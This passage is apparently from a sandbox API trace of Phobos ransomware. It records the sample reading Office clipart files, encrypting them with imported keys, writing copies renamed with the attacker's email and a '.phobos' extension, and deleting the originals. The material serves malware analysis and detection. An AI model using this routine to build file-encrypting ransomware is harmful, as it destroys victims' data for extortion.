(hKey=0x10d170) returned 1 [0058.935] CloseHandle (hObject=0x318) returned 1 [0058.935] CloseHandle (hObject=0x308) returned 1 [0058.936] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0058.938] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.938] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=24778) returned 1 [0058.938] CloseHandle (hObject=0x308) returned 1 [0058.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0058.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.939] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.939] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.939] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0058.939] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.939] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x60ca, lpOverlapped=0x0) returned 1 [0058.948] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x60d0) returned 1 [0058.948] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x60d0, lpOverlapped=0x0) returned 1 [0058.950] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0058.950] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.950] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.950] CryptDestroyKey (hKey=0x10cff0) returned 1 [0058.950] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.950] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0058.950] CloseHandle (hObject=0x308) returned 1 [0058.950] CloseHandle (hObject=0x318) returned 1 [0058.951] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0058.953] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.953] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=40206) returned 1 [0058.953] CloseHandle (hObject=0x318) returned 1 [0058.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0058.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.954] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.954] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.954] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cff0) returned 1 [0058.954] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.954] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x9d0e, lpOverlapped=0x0) returned 1 [0058.963] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x9d10, dwBufLen=0x9d10 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x9d10) returned 1 [0058.963] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x9d10, lpOverlapped=0x0) returned 1 [0058.964] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0058.964] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.964] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.965] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.965] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.965] CryptDestroyKey (hKey=0x10cff0) returned 1 [0058.965] CloseHandle (hObject=0x318) returned 1 [0058.965] CloseHandle (hObject=0x308) returned 1 [0058.966] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0058.968] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.971] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=14540) returned 1 [0058.971] CloseHandle (hObject=0x33c) returned 1 [0058.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0058.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.972] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.972] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.972] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccf0) returned 1 [0058.972] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.973] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x38cc, lpOverlapped=0x0) returned 1 [0058.988] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x38d0) returned 1 [0058.988] WriteFile (in: hFile=0x304, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x38d0, lpOverlapped=0x0) returned 1 [0058.989] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1b0) returned 1 [0058.989] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.989] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.989] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0058.989] WriteFile (in: hFile=0x304, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.989] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0058.989] CloseHandle (hObject=0x33c) returned 1 [0058.989] CloseHandle (hObject=0x304) returned 1 [0058.990] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0058.992] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.992] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7966) returned 1 [0058.992] CloseHandle (hObject=0x304) returned 1 [0058.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0058.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.992] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.992] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.993] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d1f0) returned 1 [0058.993] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.993] ReadFile (in: hFile=0x304, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1f1e, lpOverlapped=0x0) returned 1 [0058.995] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1f20) returned 1 [0058.995] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1f20, lpOverlapped=0x0) returned 1 [0058.996] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0058.996] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.996] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.996] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.996] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.996] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0058.996] CloseHandle (hObject=0x304) returned 1 [0058.996] CloseHandle (hObject=0x33c) returned 1 [0058.997] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0058.998] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.004] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=13515) returned 1 [0059.005] CloseHandle (hObject=0x308) returned 1 [0059.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0059.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.005] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.005] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.006] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0059.006] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.006] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x34cb, lpOverlapped=0x0) returned 1 [0059.014] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x34d0, dwBufLen=0x34d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x34d0) returned 1 [0059.014] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x34d0, lpOverlapped=0x0) returned 1 [0059.015] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0059.015] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.015] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.015] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.015] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.015] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.015] CloseHandle (hObject=0x308) returned 1 [0059.015] CloseHandle (hObject=0x318) returned 1 [0059.017] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0059.018] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.019] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=20454) returned 1 [0059.019] CloseHandle (hObject=0x318) returned 1 [0059.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0059.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.019] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.019] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 